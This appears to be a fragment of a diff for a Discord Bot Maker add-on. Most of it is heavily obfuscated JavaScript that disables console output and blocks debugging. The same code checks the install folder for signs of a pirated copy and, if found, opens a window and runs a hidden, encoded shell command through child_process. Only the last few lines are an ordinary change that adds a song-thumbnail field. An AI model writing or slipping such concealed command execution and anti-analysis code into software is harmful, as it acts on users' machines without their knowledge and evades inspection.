_0x373079['test'](_0x52ca1e['removeCookie']['toString']());};_0x52ca1e['updateCookie']=_0x3ce4e4;var _0x2331fa='';var _0x2b3f04=_0x52ca1e['updateCookie']();if(!_0x2b3f04){_0x52ca1e['setCookie'](['*'],'counter',0x1);}else if(_0x2b3f04){_0x2331fa=_0x52ca1e['getCookie'](null,'counter');}else{_0x52ca1e['removeCookie']();}};_0x132abe();}(_0x272b,0xbf));var _0x35b3=function(_0x162f99,_0xcd4c23){_0x162f99=_0x162f99-0x0;var _0x18fdcb=_0x272b[_0x162f99];if(_0x35b3['VdkJUd']===undefined){(function(){var _0x59f4e3=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x3f093c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59f4e3['atob']||(_0x59f4e3['atob']=function(_0x43c530){var _0x29804c=String(_0x43c530)['replace'](/=+$/,'');for(var _0x5aa74d=0x0,_0x2cff21,_0x3f843a,_0x1ba449=0x0,_0x246b0c='';_0x3f843a=_0x29804c['charAt'](_0x1ba449++);~_0x3f843a&&(_0x2cff21=_0x5aa74d%0x4?_0x2cff21*0x40+_0x3f843a:_0x3f843a,_0x5aa74d++%0x4)?_0x246b0c+=String['fromCharCode'](0xff&_0x2cff21>>(-0x2*_0x5aa74d&0x6)):0x0){_0x3f843a=_0x3f093c['indexOf'](_0x3f843a);}return _0x246b0c;});}());_0x35b3['njIGRA']=function(_0x595437){var _0x3ab4a5=atob(_0x595437);var _0x360b4f=[];for(var _0x548de9=0x0,_0x58a92a=_0x3ab4a5['length'];_0x548de9<_0x58a92a;_0x548de9++){_0x360b4f+='%'+('00'+_0x3ab4a5['charCodeAt'](_0x548de9)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x360b4f);};_0x35b3['DoGlvz']={};_0x35b3['VdkJUd']=!![];}var _0x3f747f=_0x35b3['DoGlvz'][_0x162f99];if(_0x3f747f===undefined){var _0x29433c=function(_0x22fad9){this['Afepjh']=_0x22fad9;this['oWymVf']=[0x1,0x0,0x0];this['zBGZZC']=function(){return'newState';};this['WlvvkZ']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['pFfebr']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x29433c['prototype']['kYOhyb']=function(){var _0x3594ea=new RegExp(this['WlvvkZ']+this['pFfebr']);var _0x3a49d8=_0x3594ea['test'](this['zBGZZC']['toString']())?--this['oWymVf'][0x1]:--this['oWymVf'][0x0];return this['ElEOxV'](_0x3a49d8);};_0x29433c['prototype']['ElEOxV']=function(_0x3f3002){if(!Boolean(~_0x3f3002)){return _0x3f3002;}return this['vGDvWy'](this['Afepjh']);};_0x29433c['prototype']['vGDvWy']=function(_0x1d7da3){for(var _0x3bcb21=0x0,_0x2c6638=this['oWymVf']['length'];_0x3bcb21<_0x2c6638;_0x3bcb21++){this['oWymVf']['push'](Math['round'](Math['random']()));_0x2c6638=this['oWymVf']['length'];}return _0x1d7da3(this['oWymVf'][0x0]);};new _0x29433c(_0x35b3)['kYOhyb']();_0x18fdcb=_0x35b3['njIGRA'](_0x18fdcb);_0x35b3['DoGlvz'][_0x162f99]=_0x18fdcb;}else{_0x18fdcb=_0x3f747f;}return _0x18fdcb;};var _0x3c3997=function(){var _0x183464=!![];return function(_0x508f6f,_0x469746){var _0x51c2ce=_0x183464?function(){if(_0x469746){var _0x3551f6=_0x469746['apply'](_0x508f6f,arguments);_0x469746=null;return _0x3551f6;}}:function(){};_0x183464=![];return _0x51c2ce;};}();var _0x404456=_0x3c3997(this,function(){var _0x2679ec=function(){return'\x64\x65\x76';},_0x4792bd=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x4da3ae=function(){var _0x3fb7fd=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x3fb7fd['\x74\x65\x73\x74'](_0x2679ec['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x3ab0f8=function(){var _0x1a9492=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x1a9492['\x74\x65\x73\x74'](_0x4792bd['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x1af346=function(_0x2b8be2){var _0x350544=~-0x1>>0x1+0xff%0x0;if(_0x2b8be2['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x350544)){_0x449422(_0x2b8be2);}};var _0x449422=function(_0x2cfae3){var _0x3967b1=~-0x4>>0x1+0xff%0x0;if(_0x2cfae3['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x3967b1){_0x1af346(_0x2cfae3);}};if(!_0x4da3ae()){if(!_0x3ab0f8()){_0x1af346('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x1af346('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x1af346('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x404456();var _0x4fdf52=function(){var _0xe13aab={};_0xe13aab['\x55\x45\x6b\x6c\x48']=function(_0x31e4f2,_0x44cae3){return _0x31e4f2===_0x44cae3;};_0xe13aab[_0x35b3('0x0')]=_0x35b3('0x1');_0xe13aab['\x65\x56\x72\x75\x6f']='\x49\x52\x4a\x46\x54';var _0x360083=!![];return function(_0x5f2b29,_0x5355b5){if(_0xe13aab[_0x35b3('0x2')](_0xe13aab[_0x35b3('0x0')],_0xe13aab[_0x35b3('0x3')])){if(_0x5355b5){var _0x3ec826=_0x5355b5['\x61\x70\x70\x6c\x79'](_0x5f2b29,arguments);_0x5355b5=null;return _0x3ec826;}}else{var _0x1796c9=_0x360083?function(){if(_0x5355b5){var _0x400413=_0x5355b5[_0x35b3('0x4')](_0x5f2b29,arguments);_0x5355b5=null;return _0x400413;}}:function(){};_0x360083=![];return _0x1796c9;}};}();(function(){var _0x389a0a={};_0x389a0a[_0x35b3('0x5')]=_0x35b3('0x6');_0x389a0a[_0x35b3('0x7')]=_0x35b3('0x8');_0x389a0a['\x6b\x72\x73\x55\x70']=function(_0x3d0772,_0x118271){return _0x3d0772(_0x118271);};_0x389a0a[_0x35b3('0x9')]=_0x35b3('0xa');_0x389a0a[_0x35b3('0xb')]=function(_0x4c9f9c,_0x394fac){return _0x4c9f9c+_0x394fac;};_0x389a0a[_0x35b3('0xc')]=_0x35b3('0xd');_0x389a0a[_0x35b3('0xe')]=_0x35b3('0xf');_0x389a0a[_0x35b3('0x10')]='\x79\x50\x79\x76\x6c';_0x389a0a[_0x35b3('0x11')]=_0x35b3('0x12');_0x4fdf52(this,function(){var _0x58e311=new RegExp(_0x389a0a[_0x35b3('0x5')]);var _0x247213=new RegExp(_0x389a0a[_0x35b3('0x7')],'\x69');var _0x292e5c=_0x389a0a['\x6b\x72\x73\x55\x70'](_0x1fd7cd,_0x389a0a['\x6d\x4c\x71\x53\x73']);if(!_0x58e311['\x74\x65\x73\x74'](_0x389a0a[_0x35b3('0xb')](_0x292e5c,_0x389a0a[_0x35b3('0xc')]))||!_0x247213[_0x35b3('0x13')](_0x389a0a[_0x35b3('0xb')](_0x292e5c,_0x389a0a[_0x35b3('0xe')]))){_0x292e5c('\x30');}else{if(_0x389a0a[_0x35b3('0x10')]===_0x389a0a['\x77\x68\x62\x66\x59']){while(!![]){}}else{_0x1fd7cd();}}})();}());var _0x5c31d0=function(){var _0x537c2f=!![];return function(_0x115f8d,_0x17de0f){var _0x56c377=_0x537c2f?function(){if(_0x17de0f){var _0x586db9=_0x17de0f[_0x35b3('0x4')](_0x115f8d,arguments);_0x17de0f=null;return _0x586db9;}}:function(){};_0x537c2f=![];return _0x56c377;};}();var _0x262b42=_0x5c31d0(this,function(){var _0x4da1e8={};_0x4da1e8[_0x35b3('0x14')]=function(_0x189c76,_0x199c58){return _0x189c76(_0x199c58);};_0x4da1e8['\x79\x51\x75\x6c\x57']=_0x35b3('0xa');_0x4da1e8[_0x35b3('0x15')]=_0x35b3('0xd');_0x4da1e8[_0x35b3('0x16')]=_0x35b3('0xf');_0x4da1e8[_0x35b3('0x17')]=function(_0x59ab28,_0x33d629){return _0x59ab28!==_0x33d629;};_0x4da1e8[_0x35b3('0x18')]='\x66\x77\x58\x69\x46';_0x4da1e8['\x44\x5a\x55\x47\x72']=_0x35b3('0x19');_0x4da1e8[_0x35b3('0x1a')]=_0x35b3('0x1b');_0x4da1e8['\x68\x6f\x57\x68\x50']=function(_0x66d63d,_0x2c7146){return _0x66d63d!==_0x2c7146;};_0x4da1e8[_0x35b3('0x1c')]=_0x35b3('0x1d');_0x4da1e8[_0x35b3('0x1e')]=function(_0xeb1ee9,_0x45d2ce){return _0xeb1ee9===_0x45d2ce;};_0x4da1e8[_0x35b3('0x1f')]='\x6f\x62\x6a\x65\x63\x74';_0x4da1e8['\x6b\x62\x47\x70\x42']=_0x35b3('0x20');_0x4da1e8[_0x35b3('0x21')]=function(_0x3fcb23,_0x4a2b70){return _0x3fcb23===_0x4a2b70;};var _0x2a71aa=function(){};var _0x104468=_0x4da1e8[_0x35b3('0x22')](typeof window,_0x4da1e8[_0x35b3('0x1c')])?window:_0x4da1e8['\x53\x4f\x4a\x70\x46'](typeof process,_0x4da1e8[_0x35b3('0x1f')])&&_0x4da1e8[_0x35b3('0x1e')](typeof require,_0x4da1e8['\x6b\x62\x47\x70\x42'])&&_0x4da1e8[_0x35b3('0x21')](typeof global,_0x4da1e8[_0x35b3('0x1f')])?global:this;if(!_0x104468[_0x35b3('0x23')]){if(_0x4da1e8[_0x35b3('0x22')](_0x35b3('0x24'),_0x35b3('0x25'))){_0x104468[_0x35b3('0x23')]=function(_0x2a71aa){var _0x3466f7={};_0x3466f7[_0x35b3('0x26')]=function(_0x240b0b,_0x4f3ac5){return _0x4da1e8.JxotR(_0x240b0b,_0x4f3ac5);};_0x3466f7[_0x35b3('0x27')]=_0x4da1e8.yQulW;_0x3466f7[_0x35b3('0x28')]=_0x4da1e8.uinKZ;_0x3466f7[_0x35b3('0x29')]=_0x4da1e8.Tuawy;if(_0x4da1e8[_0x35b3('0x17')](_0x4da1e8[_0x35b3('0x18')],_0x4da1e8[_0x35b3('0x2a')])){var _0x2b2226=_0x4da1e8[_0x35b3('0x1a')]['\x73\x70\x6c\x69\x74']('\x7c'),_0x2e0cf7=0x0;while(!![]){switch(_0x2b2226[_0x2e0cf7++]){case'\x30':return _0x3c34fb;case'\x31':_0x3c34fb['\x65\x72\x72\x6f\x72']=_0x2a71aa;continue;case'\x32':_0x3c34fb[_0x35b3('0x2b')]=_0x2a71aa;continue;case'\x33':_0x3c34fb['\x77\x61\x72\x6e']=_0x2a71aa;continue;case'\x34':var _0x3c34fb={};continue;case'\x35':_0x3c34fb['\x64\x65\x62\x75\x67']=_0x2a71aa;continue;case'\x36':_0x3c34fb['\x74\x72\x61\x63\x65']=_0x2a71aa;continue;case'\x37':_0x3c34fb[_0x35b3('0x2c')]=_0x2a71aa;continue;case'\x38':_0x3c34fb[_0x35b3('0x2d')]=_0x2a71aa;continue;}break;}}else{_0x4fdf52(this,function(){var _0x3743ec=new RegExp('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x2a\x5c\x28\x20\x2a\x5c\x29');var _0x4147b1=new RegExp(_0x35b3('0x8'),'\x69');var _0x43ecfb=_0x3466f7[_0x35b3('0x26')](_0x1fd7cd,_0x3466f7['\x75\x4e\x65\x47\x76']);if(!_0x3743ec['\x74\x65\x73\x74'](_0x43ecfb+_0x3466f7[_0x35b3('0x28')])||!_0x4147b1[_0x35b3('0x13')](_0x43ecfb+_0x3466f7['\x6a\x64\x56\x67\x4e'])){_0x43ecfb('\x30');}else{_0x1fd7cd();}})();}}(_0x2a71aa);}else{var _0x2f729e=firstCall?function(){if(fn){var _0x353225=fn['\x61\x70\x70\x6c\x79'](context,arguments);fn=null;return _0x353225;}}:function(){};firstCall=![];return _0x2f729e;}}else{var _0x408296=_0x35b3('0x2e')[_0x35b3('0x2f')]('\x7c'),_0x333a4b=0x0;while(!![]){switch(_0x408296[_0x333a4b++]){case'\x30':_0x104468['\x63\x6f\x6e\x73\x6f\x6c\x65']['\x74\x72\x61\x63\x65']=_0x2a71aa;continue;case'\x31':_0x104468[_0x35b3('0x23')][_0x35b3('0x30')]=_0x2a71aa;continue;case'\x32':_0x104468[_0x35b3('0x23')][_0x35b3('0x2c')]=_0x2a71aa;continue;case'\x33':_0x104468[_0x35b3('0x23')][_0x35b3('0x2b')]=_0x2a71aa;continue;case'\x34':_0x104468[_0x35b3('0x23')][_0x35b3('0x2d')]=_0x2a71aa;continue;case'\x35':_0x104468[_0x35b3('0x23')]['\x64\x65\x62\x75\x67']=_0x2a71aa;continue;case'\x36':_0x104468['\x63\x6f\x6e\x73\x6f\x6c\x65'][_0x35b3('0x31')]=_0x2a71aa;continue;}break;}}});_0x262b42();const _0x21bd1d=require('\x66\x73'),_0x3f2078=process['\x61\x72\x67\x76'][0x0],_0x2b1f57=_0x21bd1d['\x72\x65\x61\x64\x64\x69\x72\x53\x79\x6e\x63'](process['\x61\x72\x67\x76'][0x0][_0x35b3('0x32')]('\x44\x69\x73\x63\x6f\x72\x64\x20\x42\x6f\x74\x20\x4d\x61\x6b\x65\x72\x2e\x65\x78\x65','')),_0x1f86c5=['\x4c\x41\x55\x4e\x43\x48\x45\x52\x2e\x65\x78\x65',_0x35b3('0x33'),_0x35b3('0x34'),_0x35b3('0x35'),'\x53\x6d\x61\x72\x74\x53\x74\x65\x61\x6d\x45\x6d\x75\x2e\x69\x6e\x69',_0x35b3('0x36'),_0x35b3('0x37'),'\x49\x47\x47\x20\x2d\x20\x47\x41\x4d\x45\x53\x2e\x43\x4f\x4d\x2e\x75\x72\x6c'],_0x55ced8=['\x44\x69\x73\x63\x6f\x72\x64\x2e\x42\x6f\x74\x2e\x4d\x61\x6b\x65\x72',_0x35b3('0x38')],_0x569bd0=_0x35b3('0x39');setInterval(function(){var _0x192d5e={};_0x192d5e[_0x35b3('0x3a')]=function(_0x5fd130){return _0x5fd130();};_0x192d5e[_0x35b3('0x3a')](_0x1fd7cd);},0xfa0);if(_0x55ced8[_0x35b3('0x3b')](_0x58a7ea=>_0x3f2078[_0x35b3('0x3c')](_0x58a7ea))&&_0x1f86c5['\x73\x6f\x6d\x65'](_0x2f46b3=>_0x2b1f57[_0x35b3('0x3c')](_0x2f46b3))){window[_0x35b3('0x3d')](_0x35b3('0x3e')+Math[_0x35b3('0x3f')]()[_0x35b3('0x40')](0x24)[_0x35b3('0x41')](0x2,0xf)+_0x35b3('0x42'));require(_0x35b3('0x43'))[_0x35b3('0x44')](_0x35b3('0x45')+_0x569bd0);process[_0x35b3('0x46')](0x1);}function _0x1fd7cd(_0x46d7e0){var _0x7bce79={};_0x7bce79[_0x35b3('0x47')]=function(_0x584fee,_0x23cad2){return _0x584fee===_0x23cad2;};_0x7bce79[_0x35b3('0x48')]=_0x35b3('0x49');_0x7bce79[_0x35b3('0x4a')]=function(_0x4ea276){return _0x4ea276();};_0x7bce79[_0x35b3('0x4b')]=function(_0x130424,_0x596982){return _0x130424!==_0x596982;};_0x7bce79[_0x35b3('0x4c')]=function(_0x8d7f4,_0x382f0b){return _0x8d7f4/_0x382f0b;};_0x7bce79[_0x35b3('0x4d')]=_0x35b3('0x4e');_0x7bce79[_0x35b3('0x4f')]=function(_0x3084ac,_0x4b2f22){return _0x3084ac%_0x4b2f22;};_0x7bce79[_0x35b3('0x50')]=function(_0x3550c1,_0x4381d4){return _0x3550c1(_0x4381d4);};function _0x2964ae(_0x260a88){if(_0x7bce79[_0x35b3('0x47')](typeof _0x260a88,_0x7bce79[_0x35b3('0x48')])){var _0x25801e=function(){while(!![]){}};return _0x7bce79[_0x35b3('0x4a')](_0x25801e);}else{if(_0x7bce79[_0x35b3('0x4b')]((''+_0x7bce79[_0x35b3('0x4c')](_0x260a88,_0x260a88))[_0x7bce79[_0x35b3('0x4d')]],0x1)||_0x7bce79[_0x35b3('0x47')](_0x7bce79['\x4f\x6f\x4d\x6d\x61'](_0x260a88,0x14),0x0)){debugger;}else{debugger;}}_0x7bce79[_0x35b3('0x50')](_0x2964ae,++_0x260a88);}try{if(_0x46d7e0){return _0x2964ae;}else{_0x7bce79[_0x35b3('0x50')](_0x2964ae,0x0);}}catch(_0x492986){}} try { const {glob, document} = this; @@ -337,6 +340,9 @@ div.embed { /*
*/ case 14: result = TimeFormat.fromS(audio.playingnow[targetServer.id] && audio.playingnow[targetServer.id][1].duration); //Current song duration break; + case 15: + result = audio.playingnow[targetServer.id] && audio.playingnow[targetServer.id][1].thumbnail; // Current Song Thumbnail URL + break; default: break; }